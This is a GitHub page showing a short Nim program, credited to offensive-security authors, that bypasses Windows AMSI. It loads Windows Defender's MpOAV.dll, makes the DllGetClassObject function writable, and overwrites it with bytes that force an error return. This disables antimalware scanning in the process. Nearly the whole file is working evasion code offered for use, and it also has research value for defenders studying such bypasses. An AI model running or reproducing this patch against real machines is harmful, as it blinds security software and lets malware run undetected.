-
Notifications
You must be signed in to change notification settings - Fork 353
/
amsi_providerpatch_bin.nim
49 lines (42 loc) · 1.53 KB
/
amsi_providerpatch_bin.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#[
Author: Fabian Mosch & Marcello Salvati, Twitter: @ShitSecure, @byt3bl33d3r
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf
License: BSD 3-Clause
]#
import winim/lean
import strformat
import dynlib
import os, sequtils
when defined amd64:
echo "[*] Running in x64 process"
const patch: array[6, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3]
elif defined i386:
echo "[*] Running in x86 process"
const patch: array[8, byte] = [byte 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00]
proc PatchAmsi(): bool =
var
amsi: HMODULE
cs: pointer
op: DWORD
t: DWORD
disabled: bool = false
let filesInPath = toSeq(walkDir("C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\", relative=true))
var length = len(filesInPath)
# last dir == newest dir
amsi = LoadLibrary(fmt"C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\{filesInPath[length-1].path}\\MpOAV.dll")
if amsi == 0:
echo "[X] Failed to load MpOav.dll"
return disabled
cs = GetProcAddress(amsi,"DllGetClassObject")
if cs == nil:
echo "[X] Failed to get the address of 'DllGetClassObject'"
return disabled
if VirtualProtect(cs, patch.len, 0x40, addr op):
echo "[*] Applying patch"
copyMem(cs, unsafeAddr patch, patch.len)
VirtualProtect(cs, patch.len, op, addr t)
disabled = true
return disabled
when isMainModule:
var success = PatchAmsi()
echo fmt"[*] AMSI disabled: {bool(success)}"